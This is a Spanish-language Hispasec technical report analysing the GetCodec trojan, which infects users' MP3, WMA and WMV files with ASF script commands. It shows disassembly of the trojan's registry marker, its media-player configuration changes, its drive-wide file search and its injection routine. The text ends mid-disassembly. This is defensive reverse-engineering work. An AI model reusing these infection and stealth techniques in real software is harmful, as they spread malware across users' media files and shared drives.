Está en la página 1de 25

Documento técnico:

Análisis del troyano multimedia GetCodec

Agosto 2008

Marcin “Icewall” Noga


martin@hispasec.com
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN
1. Introducción
Recientemente la industria antivirus disparó la alarma sobre un nuevo troyano que
ha sido detectado propagándose de forma activa, infectando los archivos
multimedia de sus víctimas con contenido malicioso. Lo interesante de este nuevo
ejemplar es que su motor de inyección de código está basado en el formato ASF
(Advanced Systems Format).

ASF es un formato propietario de Microsoft de audio/video digital, creado


originalmente para streaming de contenidos multimedia. ASF es parte de la
infraestructura de Windows Media. El formato no especifica cómo (con qué codec)
se codifica el flujo de video/audio. Esto es similar a lo que hacen otros formatos
contenedores como QuickTime, AVI u Ogg. Uno de los propósitos originales de ASF
era dar soporte a la reproducción desde servidores media digitales, servidores
HTTP y unidades de almacenamiento local (e.j. discos duros).

Los tipos de archivo más comunes contenidos en un archivo ASF son los WMA
(Windows Media Audio) y WMV (Windows Media Video). Nótese que las
abreviaciones de las extensiones de archivo son distintas de los codecs que llevan
el mismo nombre. Los archivos que contienen exclusivamente audio WMA pueden
nombrarse usando extensiones .WMA, mientras que los archivos con contenido
audio y video pueden usar la extensión .WMV. En ambos casos, si uno lo desea,
también se les puede dar la extensión .ASF.

El siguiente informe de VirusTotal ilustra los nombres que los distintos motores
antivirus le han dado a esta nueva familia que se pretende estudiar:

AntiVir Worm/GetCodec.A
Avast Win32:Trojan-gen {Other}
AVG Downloader.Generic7.YJK
BitDefender Trojan.Downloader.GetCodec.B
QuickHeal Worm.GetCodec.a
eSafe Suspicious File
F-Secure Worm.Win32.GetCodec.a
Fortinet PossibleThreat
GData Worm.Win32.GetCodec.a
Ikarus Worm.Win32.GetCodec.a
Kaspersky Worm.Win32.GetCodec.a
McAfee W32/GetCodec.a
NOD32v2 Win32/TrojanDownloader.Small.OCY
Panda Suspicious file
Prevx1 Cloaked Malware
Sophos W32/GetCodec-A
Sunbelt Worm.Win32.GetCodec.a
Symantec Trojan.Brisv.A
TheHacker W32/GetCodec.a
TrendMicro PAK_Generic.001
VBA32 Worm.Win32.GetCodec.a
VirusBuster Worm.GetCodec.A
Webwasher Win32.Trojan.ASF.Hijacker.A

Parece haber cierto grado de acuerdo en denominar a la familia “GetCodec’” Con


un poco de suerte tras el análisis de ingeniería inversa que se presenta en este
documento el lector habrá comprendido la razón por la cual le han dado este
nombre.
www.hispasec.com

2
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

2. Análisis de la muestra
Esta sección detalla el análisis de ingeniería inversa que se realizó sobre la muestra
que produjo el resultado de VirusTotal anterior, el ejemplar puede ser identificado
por los siguientes hashes:

MD5: 4e2f538fa4dfe028c221ee7f020a05d4
SHA1: 3a2055b22105b8de4b384d7a1936afaafd7df8c1

La muestra está empaquetada con PECompact 2.x -> Jeremy Collake, su


desempaquetado revela que fue escrita usando C++ y compilada con Microsoft
Visual Studio.

Echémosle un ojo a su rutina principal:

Ilustración 1 - rutina principal del ejemplar

El desensamblado también muestra ciertas variables de clase:

countOfScanedEntities 10h 0
malware_installed 14h 1 (first malware execution 0)
countOFscanedFiles 18h 0
countOFinfectedFiles 1Ch 0
hundretOfScanedFiles 20h 0
prot_data 24h addr
www.hispasec.com
tempFilePath 28h addr (TempPath)

3
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN thread_priority 2Ch 0

Tal y como podemos apreciar en la Ilustración 1, tras una correcta inicialización de


la librería COM el troyano procede a ejecutar los siguientes bloques:

• Initialization_and_BasicCheck (Inicialización y comprobación básica)


• Set_Mutex (Fijar mutex)
• Modify_Winamp_Conf (Modificar Configuración de Winamp)
• Modify_WMP_Conf (Modificar Configuración WMP)
• Search_and_Infection_Mechanism (Mecanismo de búsqueda e infección)

Los siguientes epígrafes tratarán de explicar el propósito y funcionamiento de cada una de


estas rutinas con el fin de comprender que pasos se siguen para infectar la máquina víctima.

2.1. Rutina de inicialización y comprobación básica


El troyano usa esta función para inicializar las variables de clase y comprobar si fue
ejecutado con anterioridad. Para hacer esta comprobación se abre la siguiente
clave de Registro:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\PIMSRV

Y se intenta leer el valor de Registro “prot”.

Ilustración 2 - comprobación de ejecución previa


www.hispasec.com

4
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN Cuando esta comprobación falla, la rutina isMalwareInstalled devuelve falso y la
variable “malware_installed” se fija a 0:

.text:004011E9 call isMalwareInstalled


.text:004011EE movzx ecx, al
.text:004011F1 test ecx, ecx
.text:004011F3 jnz short malware_was_executed
.text:004011F5 mov edx, [ebp+this]
.text:004011F8 mov [edx+malware_installed], 0 ; set_to_false

Tras esto el troyano intenta inicializar la variable temPath usando la API de


Windows “GetTempPathW”, si esto falla su valor se fija a “C:\\”.

.text:004011FC push 5000h ; dwBytes


.text:00401201 call operator new(uint)
.text:00401206 add esp, 4
.text:00401209 mov [ebp+aloc_heap2], eax
.text:0040120C mov eax, [ebp+this]
.text:0040120F mov ecx, [ebp+aloc_heap2]
.text:00401212 mov [eax+tempPath], ecx
.text:00401215 mov edx, [ebp+this]
.text:00401218 mov eax, [edx+tempPath]
.text:0040121B push eax ; lpBuffer
.text:0040121C push 10240 ; nBufferLength
.text:00401221 call GetTempPathW
.text:00401227 mov [ebp+length_of_copied_buffer], eax
.text:0040122A cmp [ebp+length_of_copied_buffer], 10240
.text:00401231 ja short loc_401239
.text:00401233 cmp [ebp+length_of_copied_buffer], 0
.text:00401237 jnz short loc_40124B
.text:00401239
.text:00401239 loc_401239:
.text:00401239 push offset C_root ; "C:\\"
.text:0040123E mov ecx, [ebp+this]
.text:00401241 mov edx, [ecx+tempPath]
.text:00401244 push edx ; lpString1
.text:00401245 call lstrcpyW

2.2. Rutina para fijar el mutex


La muestra emplea esta función para controlar el número de instancias de sí
misma, esto se hace mediante un mutex que asegura que tan sólo una instancia se
está ejecutando en cada momento:

Set_Mutex proc near

var_4= dword ptr -4

push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push offset Name ; "PIMSRV1"
push 1 ; bInitialOwner
push 0 ; lpMutexAttributes
call CreateMutexW
www.hispasec.com
call GetLastError
sub eax, 0B7h

5
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn
Set_Mutex endp

2.3. Rutina para modificar la configuración de Winamp


Posteriormente, el troyano modifica el archivo de configuración de Winamp:

www.hispasec.com
Ilustración 3 - rutina Modify_Winamp_Conf

6
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN Como podemos ver en la Ilustración 3, el troyano usa la API “SHGetFolderPathW”
para averiguar vía CSIDL1 dos rutas hacia archivos de configuración de Winamp. El
valor CSIDL se calcula en este trozo de código:

.text:004026EC mov edx, [ebp+counter]


.text:004026F2 mov eax, [ebp+edx*4+csidl]

Este contador adopta valores en el rango 0-7. Los primeros dos elementos de
CSIDLs_table se inicializan a 1Ah y 1Ch.

.text:004026AF mov [ebp+csidl], 1Ah


.text:004026B6 mov [ebp+csidl2], 1Ch

Se declaran dos constantes con estos valores en Shfolder.h:

CSIDL_APPDATA 0x001a // Application Data, new for NT4


CSIDL_LOCAL_APPDATA 0x001c // non roaming, user\Local
Settings\Application Data

Estos valores CSIDL le permiten al troyano conocer la ruta hacia dos archivos de
configuración de Winamp:

"C:\Documents and Settings\USERNAME\Application


Data\Winamp\winamp.ini" // CSIDL_APPDATA
"C:\Documents and Settings\USERNAME\Local Settings\Application
Data\Winamp\winamp.ini" // CSIDL_LOCAL_APPDATA

Concretamente, intenta modificar los siguientes ajustes:

• defext: Esta propiedad define la extensión por defecto que se asigna a todo
archivo que Winamp desconoce e intenta reproducir. Este parámetro se fija
a MP3 por defecto.

• extlist_aac: No se hallo información sobre este ajuste.

Ilustración 4 - Archivo de configuración de Winamp modificado

1
Los valores CSIDL (constant special item ID list) ofrecen un identificador único independiente del
sistema para acceder a directories especiales usados frecuentemente por las aplicaciones, directorios
bien podrían tener diferentes nombres y rutas en distintos sistemas. Por ejemplo, la carpeta de sistema
puede ser “C:\Windows” en un equipo y “C:\Winnt” en otro. Estas constantes se definen en Shlobj.h. Un
www.hispasec.com subconjunto de ellas también están definidas en Shfolder.h.

7
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN El autor del troyano únicamente declaró dos valores en la tabla de CSIDLs, ¿qué
sucede con el resto? Dijimos que se definía un contador que barría el rango 0-7,
los valores 2-7 simplemente extraen valores aleatorios de la pila (seguramente se
trate de un error de programación).

2.4. Rutina para modificar el archivo de configuración de


Windows Media Player
El siguiente objetivo de la muestra es la configuración de Windows Media Player. El
troyano crea la siguiente clave de Registro:

HKCU\Software\Microsoft\MediaPlayer\Player\Extensions\.mp3

Y fija el valor “Permissions” a “31”. Se trata de la función OR de todas las opciones


disponibles para este valor. En otras palabras, la modificación da permisos de
reproducción, de descartar carpetas, de ejecutar CDs multimedia, y de reproducir
flujos HTML (streaming).

A continuación se modifica el parámetro “URLAndExitCommandsEnabled”. Cuando


un creador de contenidos produce un flujo de audio o video, éste puede añadirles
comandos scriptados (personalizados y de URL) dentro del flujo. Cuando el flujo se
reproduce, los comandos scriptados pueden detonar eventos en el reproductor o
dirigir el navegador hacia una página Web concreta. Se trata de una característica
de diseño. La propiedad modificada por el fichero de malware activa o desactiva
comandos scriptados de tipo URLAndExit en ficheros ASF, por defecto su valor es 1
(activo), lo cual quiere decir que la funcionalidad está permitida aunque el valor de
Registro “URLAndExitCommandsEnabled” no exista.

Avancemos por el código desensamblado:

.text:004025B0 modify_WMP_conf proc near


.text:004025B0
.text:004025B0 var_18 = dword ptr -18h
.text:004025B0 var_14 = dword ptr -14h
.text:004025B0 var_D = byte ptr -0Dh
.text:004025B0 dwDisposition = dword ptr -0Ch
.text:004025B0 hKey = dword ptr -8
.text:004025B0 Data = byte ptr -4
.text:004025B0
.text:004025B0 push ebp
.text:004025B1 mov ebp, esp
.text:004025B3 sub esp, 18h
.text:004025B6 mov [ebp+var_14], ecx
.text:004025B9 mov [ebp+hKey], 0
.text:004025C0 mov dword ptr [ebp+Data], 0
.text:004025C7 mov [ebp+var_D], 0
.text:004025CB lea eax, [ebp+hKey]
.text:004025CE push eax ; phkResult
.text:004025CF push 2001Fh ; samDesired
.text:004025D4 push 0 ; ulOptions
.text:004025D6 push offset SubKey ;
"Software\\Microsoft\\MediaPlayer\\Preferen"...
.text:004025DB push HKEY_CURRENT_USER ; hKey
.text:004025E0 call RegOpenKeyExW
.text:004025E6 test eax, eax
www.hispasec.com
.text:004025E8 jnz short loc_40260B
.text:004025EA push 4 ; cbData

8
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN .text:004025EC lea ecx, [ebp+Data]
.text:004025EF push ecx ; lpData
.text:004025F0 push 4 ; dwType
.text:004025F2 push 0 ; Reserved
.text:004025F4 push offset ValueName ;
"URLAndExitCommandsEnabled"
.text:004025F9 mov edx, [ebp+hKey]
.text:004025FC push edx ; hKey
.text:004025FD call RegSetValueExW

Vemos como, por raro que parezca, el autor del espécimen fija el valor de
“URLAndExitCommandsEnabled” a “0”. En efecto, acaba de desactivar los
comandos scriptados de tipo URLAndExit en archivos ASF, impidiendo que se
descargue cualquier otro archivo malicioso haciendo uso de este método. Algunos
pensarán que se trata de un error al interpretar la documentación de este valor,
otros se han adelantado a decir que probablemente se trate de un error de
programación, el autor de este documento está convencido de que se hizo de
forma voluntaria. Este paso hace el ataque más silencioso, se puede decir que se
trata de un truco para ocultarle a la víctima las modificaciones que sufrirán sus
archivos multimedia.

Si esto no se hubiera hecho la víctima notaría que tras ejecutar el troyano la


mayoría de sus archivos multimedia de repente despliegan ventanitas solicitando la
instalación de un sospechoso codec. En consecuencia el usuario podría pensar que
la ejecución del troyano causó este comportamiento anómalo. Hemos de tener en
cuenta que este troyano se está propagando como encubierto como cracks y
warez, si una vez se ejecuta la víctima no nota ningún cambio y el supuesto crack
muere silenciosamente, ésta pensara que simplemente se trata de otro crack
corrupto.

2.5. Rutina de búsqueda e infección


Esta función es el corazón del ejemplar, es la responsable de la mayoría de las
acciones maliciosas.

En primer lugar el troyano fija “THREAD_PRIORITY_BELOW_NORMAL” para su


propio hilo y luego ejecuta una rutina principal que tiene por objeto infectar los
archivos multimedia del disco duro de la víctima:

.text:004019C0 Search_and_Infect proc near


.text:004019C0
.text:004019C0
.text:004019C0 push ebp
.text:004019C1 mov ebp, esp
.text:004019C3 sub esp, 250h
.text:004019C9 mov [ebp+this], ecx
.text:004019CF mov ecx, [ebp+this]
.text:004019D5 add ecx, 8
.text:004019D8 call sub_401290
.text:004019DD mov [ebp+csidl], 35h
.text:004019E4 mov [ebp+csidl1], 37h
.text:004019EB mov [ebp+csidl2], 0Dh
.text:004019F2 mov [ebp+csidl3], 5
.text:004019F9 mov [ebp+csidl4], 2Eh
.text:00401A00 mov [ebp+csidl5], 1Ah
www.hispasec.com
.text:00401A07 mov [ebp+csidl6], 1Ch
.text:00401A0E mov [ebp+csidl7], 6

9
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN .text:00401A15 mov [ebp+csidl8], 10h
.text:00401A1C mov [ebp+csidl9], 13h
.text:00401A23 mov [ebp+csidl10], 3Bh
.text:00401A2A mov [ebp+counter], 0
.text:00401A34 jmp short loc_401A45
.text:00401A36 ; -----------------------------------
.text:00401A36
.text:00401A36 loc_401A36:
.text:00401A36 mov eax, [ebp+counter]
.text:00401A3C add eax, 1
.text:00401A3F mov [ebp+counter], eax
.text:00401A45
.text:00401A45 loc_401A45:
.text:00401A45 cmp [ebp+counter], 44
.text:00401A4C jnb short loc_401A84
.text:00401A4E lea ecx, [ebp+FileName]
.text:00401A54 push ecx ; pszPath
.text:00401A55 push 0 ; dwFlags
.text:00401A57 push 0 ; hToken
.text:00401A59 mov edx, [ebp+counter]
.text:00401A5F mov eax, [ebp+edx*4+csidl] ;CSIDL_table
.text:00401A63 push eax ; csidl
.text:00401A64 push 0 ; hwnd
.text:00401A66 call SHGetFolderPathW
.text:00401A6C test eax, eax
.text:00401A6E jl folder_path_not_available
.text:00401A70 lea ecx, [ebp+FileName]
.text:00401A76 push ecx ; Path
.text:00401A77 mov ecx, [ebp+this]
.text:00401A7D call SearchVulnsFiles
.text:00401A82
.text:00401A82 folder_path_not_available:
.text:00401A82 jmp short loc_401A36
.text:00401A84 ; ---------------------------------
.text:00401A84
.text:00401A84 loc_401A84:
.text:00401A84 mov ecx, [ebp+this]
.text:00401A8A call sub_401C00
.text:00401A8F mov al, 1
.text:00401A91 mov esp, ebp
.text:00401A93 pop ebp
.text:00401A94 retn
.text:00401A94 Search_and_Infect endp

Mirando el código podemos apreciar como el autor cometió un nuevo fallo. El


contador del bucle recorre el rango 0-44, con lo cual está solicitando 44 entradas
de la tabla de CSIDLs. Sin embargo, únicamente 11 están inicializadas.

Las rutas devueltas por la llamada a “SHGetFolderPathW” se emplean como rutas


raíz de cara a buscar archivos a infectar (mp2, mp3, wma, wmv, asf). Echando un
vistazo a shlobj.h podemos verificar los CSIDL:

.text:004019DD mov [ebp+csidl], 35h ;CSIDL_COMMON_MUSIC


0x0035 // All Users\My Music
.text:004019E4 mov [ebp+csidl1], 37h ;CSIDL_COMMON_VIDEO
0x0037 // All Users\My Video
.text:004019EB mov [ebp+csidl2], 0Dh ;CSIDL_MYMUSIC
www.hispasec.com 0x000d // "My Music" folder
.text:004019F2 mov [ebp+csidl3], 5 ;CSIDL_PERSONAL

10
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN 0x0005 // My Documents
.text:004019F9 mov [ebp+csidl4], 2Eh ; CSIDL_COMMON_DOCUMENTS
0x002e // All Users\Documents
.text:00401A00 mov [ebp+csidl5], 1Ah ;CSIDL_APPDATA
0x001a // <user name>\Application Data
.text:00401A07 mov [ebp+csidl6], 1Ch ;CSIDL_LOCAL_APPDATA
0x001c // <user name>\Local Settings\Applicaiton Data (non
roaming)
.text:00401A0E mov [ebp+csidl7], 6 ;CSIDL_FAVORITES
0x0006 // <user name>\Favorites
.text:00401A15 mov [ebp+csidl8], 10h ;CSIDL_DESKTOPDIRECTORY
0x0010 // <user name>\Desktop
.text:00401A1C mov [ebp+csidl9], 13h ;CSIDL_NETHOOD
0x0013 // <user name>\nethood
.text:00401A23 mov [ebp+csidl10], 3Bh ;CSIDL_CDBURN_AREA
0x003b // USERPROFILE\Local Settings\Application
Data\Microsoft\CD Burning

La ruta más interesante es:

CSIDL_CDBURN_AREA 0x003b

// USERPROFILE\Local Settings\Application Data\Microsoft\CD Burning

¿Por qué es tan interesante? La carpeta de “tostado de CDs” contiene archivos que
están listos para copiarse a un CD/DVD, infectando estos ficheros el malware tiene
la posibilidad de propagarse vía compartición de CDs/DVDs.

Llegado a este punto tenemos que la primera ruta en la que el ejemplar busca
ficheros a infectar es “//All Users\My Music”. En nuestro se trata de:

C:\Documents and Settings\All Users\Documents\My Music

Dejemos dos archivos cebo en esta carpeta:

Ilustración 5 - archivos cebo para el malware

Hemos usado dos formatos de fichero distintos (mp3 y wma) con el fin de
descubrir las diferencias de comportamiento en función del tipo de fichero.

Búsqueda de archivos
Para buscar archivos víctima el autor hace uso de dos APIs de Windows bastante
www.hispasec.com conocidas:

11
HISPASEC SISTEMAS

SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN FindFirstFileW
• FindNextFileW

Estas APIs devolverán una estructura de tipo WIN32_FIND_DATAW que representa


el directorio objetivo para la búsqueda. En estos directorios devueltos se hace una
búsqueda recursiva de profundidad 30 como máximo:

.text:004013F9 mov [ebp+this], ecx


.text:004013FF mov eax, [ebp+RecursiveCounter]
.text:00401402 mov ecx, [ebp+RecursiveCounter] ; default 0
.text:00401405 add ecx, 1
.text:00401408 mov [ebp+RecursiveCounter], ecx
.text:0040140B cmp eax, 30
.text:0040140E jle short continue_searching
.text:00401410 xor al, al ; set return value to false
.text:00401412 jmp endOfSearchFile

Nótese en el siguiente extracto de código que el argumento LPCTSTR lpFileName


que se pasa a FindFirstFileW es la ruta devuelta por SHGetFolderPathW más el
modificador “\*”:

.text:004014E2 mov ecx, [ebp+PathCopy2]


.text:004014E5 movzx edx, word ptr [ecx+eax*2-2]
.text:004014EA cmp edx, '\'
.text:004014ED jz short loc_4014FE
.text:004014EF push offset back_slash ; lpString2
.text:004014F4 mov eax, [ebp+PathCopy2]
.text:004014F7 push eax ; lpString1
.text:004014F8 call lstrcatW
.text:004014FE
.text:004014FE loc_4014FE:
.text:004014FE push offset asterix ; lpString2
.text:00401503 mov ecx, [ebp+PathCopy2]
.text:00401506 push ecx ; lpString1
.text:00401507 call lstrcatW
.text:0040150D lea edx, [ebp+wfd]
.text:00401513 push edx ; lpFindFileData
.text:00401514 mov eax, [ebp+PathCopy2]
.text:00401517 push eax ; lpFileName
.text:00401518 call FindFirstFileW

Tras todo este proceso tan laborioso el lector pensará, ¿qué pasa si mis archivos
multimedia están guardados en una ruta que no aparece en la tabla de CSIDLs? Si
la búsqueda se realiza sobre rutas CSIDLs concretas mis archivos deberían estar a
salvo de la inyección de código, ¿correcto? Mala suerte, antes de acabar el bucle
Search_and_Infect (búsqueda e infección) la muestra llama a la rutina
Search_files_on_LogicalDrives (busca archivos en todas las unidades lógicas).

La Ilustración 6 muestra como el espécimen trata de infectar todas aquellas unidades de tipo:

• DRIVE_FIXED: unidades fijas (e.j. discos duros y unidades flash.


• DRIVE_REMOTE: unidades de red.
Así que el troyano siempre buscará archivos interesantes a infectar, con
independencia de si están en un lápiz USB o en una carpeta compartida. Esto
www.hispasec.com
convierte al troyano en una gran amenaza para entornos corporativos y

12
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN organizaciones que usan intensivamente las unidades compartidas: colegios,
residencias, etc.

Ilustración 6 - desensamblado de la búsqueda de archivos en todas las


unidades

Avancemos por el código, podemos ver como cuando la muestra se ejecuta por
primera vez malware_installed se fijará a falso y la cuenta de elementos
escaneados (archivos y carpetas) será 0 en módulo 100, al hacer el módulo 100
con cada múltiplo de 100 se guardará la ruta actual del malware en el registro:

.text:00401585 mov eax, [ebp+this]


.text:0040158B movzx ecx, [eax+malware_installed] ; on first
malware execution 0
.text:0040158F test ecx, ecx
.text:00401591 jnz short malware_was_executed
.text:00401593 mov edx, [ebp+this]
.text:00401599 mov eax, [edx+countOfScanedEntities] ; default 0
.text:0040159C cdq
.text:0040159D mov ecx, 100
.text:004015A2 idiv ecx
www.hispasec.com .text:004015A4 mov eax, [ebp+this]
.text:004015AA mov ecx, [eax+countOfScanedEntities]

13
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN .text:004015AD add ecx, 1
.text:004015B0 mov eax, [ebp+this]
.text:004015B6 mov [eax+countOfScanedEntities], ecx
.text:004015B9 test edx, edx
.text:004015BB jnz short malware_was_executed
.text:004015BD mov ecx, [ebp+CurrentPath]
.text:004015C3 push ecx ; lpData
.text:004015C4 mov ecx, [ebp+this]
.text:004015CA call set_prot_path ; set current 'path' to prot
value
.text:004015CF malware_was_executed:

En consecuencia, cuando se trata de la primera ejecución el valor de la siguiente


entrada del Registro se fijará a la ruta actual del espécimen:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\PIMSRV\prot

Ilustración 7 - Modificación del registro tras primera ejecución

Por el contrario, cuando malware_installed es verdadero (e.j. la muestra se ejecuta


por segunda vez), se comprobará si la ruta en la que se halla es la misma que
aquella guardada en la llave de Regsitro:

.text:004015CF malware_was_executed:
.text:004015CF mov edx, [ebp+this]
.text:004015D5 movzx eax, [edx+malware_installed]
.text:004015D9 test eax, eax
.text:004015DB jz short loc_401604
.text:004015DD mov ecx, [ebp+CurrentPath]
.text:004015E3 push ecx ; lpString
.text:004015E4 mov edx, [ebp+this]
.text:004015EA mov eax, [edx+prot_data]
.text:004015ED push eax
.text:004015EE mov ecx, [ebp+this]
.text:004015F4 call Cmp_Path_protData
.text:004015F9 movzx ecx, al
.text:004015FC test ecx, ecx
.text:004015FE jz search_next_file

Si ambas rutas coinciden entonces malware_installed se fijará a cero y la ejecución


se redirigirá a FindNextFileW. Esta llamada devolverá una nueva entidad si
encuentra algo, se comprueba si esta entidad es un archivo o directorio:

www.hispasec.com

14
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Ilustración 8 - búsqueda de archivos

Cuando la entidad encontrada es un directorio se lanza sobre él la búsqueda


recursiva ya mencionada. En cambio, si la entidad es un archivo el troyano
verificará su extensión para ver si se trata de un fichero objetivo. En nuestro caso
el primer archivo encontrado es el cebo:

Beethoven's Symphony No. 9 (Scherzo).wma

Su extensión se compara con la entrada de dos tablas:

www.hispasec.com Ilustración 9 - ¿se trata de un fichero objetivo?

15
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN Una de estas tablas contiene extensiones de archivos mpX, mientras que la otra
incluye extensiones relacionadas con Windows Media Player. Cuando el fichero
encontrado es de interés, la muestra salta al bloque FileIsVulnerable.

.text:00401674 mov edx, [ebp+CurrentPath]


.text:0040167A push edx ; VulFilePath
.text:0040167B mov ecx, [ebp+this]
.text:00401681 call TryInfect

Como se puede apreciar este bloque tratará de infectar el cebo.

Método de infección
La rutina TryInfect comienza por crear un archivo temporal:

.text:00401CEF push offset PrefixString ; "NEW"


.text:00401CF4 mov ecx, [ebp+this]
.text:00401CFA mov edx, [ecx+28h]
.text:00401CFD push edx ; lpPathName
.text:00401CFE call GetTempFileNameW

Este archivo temporal se encuentra en la carpeta “%temp%” (normalmente


C:\DOCUME~1\virtual\LOCALS~1\Temp) y su nombre siempre tiene como prefijo
la palabra “NEW”.

C:\DOCUME~1\virtual\LOCALS~1\Temp\NEW21.tmp

Tras esto el malware comprobara si el archivo a infectar tiene el atributo


FILE_ATTRIBUTE_READ_ONLY (sólo lectura) activo:

.text:00401D0F mov eax, [ebp+VulFilePath]


.text:00401D12 push eax ; lpFileName
.text:00401D13 lea ecx, [ebp+var_5034]
.text:00401D19 call isReadOnly

Si lo está se procede a desactivarlo con una operación XOR:

FILE_ATTRIBUTE xor FILE_ATTRIBUTE_READONLY

Cuando los atributos son los deseados se procede a la inyección de código en sí:

.text:00401D40 mov byte ptr [ebp+var_4], 1


.text:00401D44 mov [ebp+lpMode], 0
.text:00401D4B lea eax, [ebp+lpMode]
.text:00401D51 push eax
.text:00401D52 lea ecx, [ebp+TempFilePath]
.text:00401D58 push ecx
.text:00401D59 mov edx, [ebp+VulFilePath]
.text:00401D5C push edx
.text:00401D5D mov eax, [ebp+this]
.text:00401D63 mov edx, [eax]
.text:00401D65 mov ecx, [ebp+this]
.text:00401D6B call dword ptr [edx] ; Main_injection_routine

Todas las variables fijadas para realizar la inyección de código deberían estar
www.hispasec.com bastante claras mirando el desensamblado:

16
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Ilustración 10 - comprobación de la extensión del fichero objetivo

Tal y como se puede apreciar, esta rutina compara VulnFileExtensión (la extensión
del fichero objetivo) sólo contra una tabla: mpX_table. Si la extensión no está
indexada en esta tabla el malware decidirá que se trata de un archivo WMP. ¿Por
qué se agrupan los archivos en función de su extensión? ¿La muestra se comporta
de distinta manera dependiendo del tipo de archivo?

Un vistazo rápido revela dos rutinas de infección:

• Convert_infect_mpX_file (convertir e infectar archivo mpX)

• Infect_wmp_file (infectar archivo wmp)

El análisis de estas rutinas nos permite decir que el método de infección como tal
es el mismo, la única diferencia reside en el hecho de que los archivos mpX se han
de convertir al formato ASF primero.

www.hispasec.com

17
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Ilustración 11 - conversión a formato ASF

La conversión se hace empleando interfaces COM y explica la razón por la cual


convert_infect_mpX_file acepta un argumento adicional denominado TempFilePath.
Este argumento es un puntero al archivo temporal que se creó con anterioridad,
que se usará para convertir los MPX a ASF.

Si recordamos los dos archivos que se crearon para esta prueba, VulnFilePath aun
apuntará a:

C:\Documents and Settings\All Users\Documents\My Music\Beethoven's Symphony


No. 9 (Scherzo).wma

Dada la extensión, se ejecutará infect_wmp_file. Veamos el desensamblado de


esta función:
www.hispasec.com

18
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Ilustración 12 - infectar archivo WMP

Para ver si el archivo está ya infectado el autor trata de coger las interfaces COM
IWMHeaderInfo o IWMHeaderInfo3 con la función GetInterface. Estas COMs le
permiten leer información de archivos ASF:

.text:00402EC4 push 0 ; int


.text:00402EC6 lea eax, [ebp+lpVar]
.text:00402EC9 push eax ; int
.text:00402ECA lea ecx, [ebp+ppEditor]
.text:00402ECD push ecx ; ppEditor
.text:00402ECE mov edx, [ebp+VulnFilePath]
.text:00402ED1 push edx ; lpPath
.text:00402ED2 call GetInterface

Después el troyano fija un contador de scripts:

.text:00402F07 mov [ebp+var_48], 0


.text:00402F0E mov [ebp+var_44], 0
.text:00402F15 mov [ebp+countOfScripts], 0
.text:00402F1B lea edx, [ebp+countOfScripts]
.text:00402F1E push edx
.text:00402F1F mov eax, [ebp+lpVar]
.text:00402F22 push eax
.text:00402F23 mov ecx, [ebp+lpVar]
.text:00402F26 mov edx, [ecx]
.text:00402F28 call dword ptr [edx+2Ch] ;
IWMHeaderInfo::GetScriptCount
.text:00402F2B mov [ebp+var_106C], eax
.text:00402F31 mov eax, [ebp+var_106C]
.text:00402F37 mov [ebp+var_34], eax
.text:00402F3A mov [ebp+counter], 0
www.hispasec.com
.text:00402F41 jmp short loc_402F4C

19
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN .text:00402F43 ; ----------------------------------------------------
.text:00402F43
.text:00402F43 loc_402F43:
.text:00402F43 mov ecx, [ebp+counter]
.text:00402F46 add ecx, 1
.text:00402F49 mov [ebp+counter], ecx
.text:00402F4C
.text:00402F4C loc_402F4C:
.text:00402F4C movzx edx, [ebp+countOfScripts]
.text:00402F50 cmp [ebp+counter], edx
.text:00402F53 jge no_more_scripts_available

El contador permite barrer todos los scripts de la cabecera del archivo:

.text:00402F59 mov [ebp+pcchTypeLen], 1024


.text:00402F62 mov [ebp+pcchCommandLen], 1024
.text:00402F6B lea eax, [ebp+pcnsScriptTime]
.text:00402F6E push eax
.text:00402F6F lea ecx, [ebp+pcchCommandLen]
.text:00402F75 push ecx
.text:00402F76 lea edx, [ebp+pwszCommand]
.text:00402F7C push edx
.text:00402F7D lea eax, [ebp+pcchTypeLen]
.text:00402F83 push eax
.text:00402F84 lea ecx, [ebp+pwszType]
.text:00402F8A push ecx
.text:00402F8B mov dx, word ptr [ebp+counter] ; wIndex
.text:00402F8F push edx
.text:00402F90 mov eax, [ebp+lpVar]
.text:00402F93 push eax
.text:00402F94 mov ecx, [ebp+lpVar]
.text:00402F97 mov edx, [ecx]
.text:00402F99 call dword ptr [edx+30h];IWMHeaderInfo::GetScript
.text:00402F9C mov [ebp+var_1070], eax
.text:00402FA2 mov eax, [ebp+var_1070]
.text:00402FA8 mov [ebp+HRESULT], eax
.text:00402FAB cmp [ebp+HRESULT], S_OK
.text:00402FAF jge short successfull_readed
.text:00402FB1 mov [ebp+var_105F], 0
.text:00402FB8 push offset dword_40E568
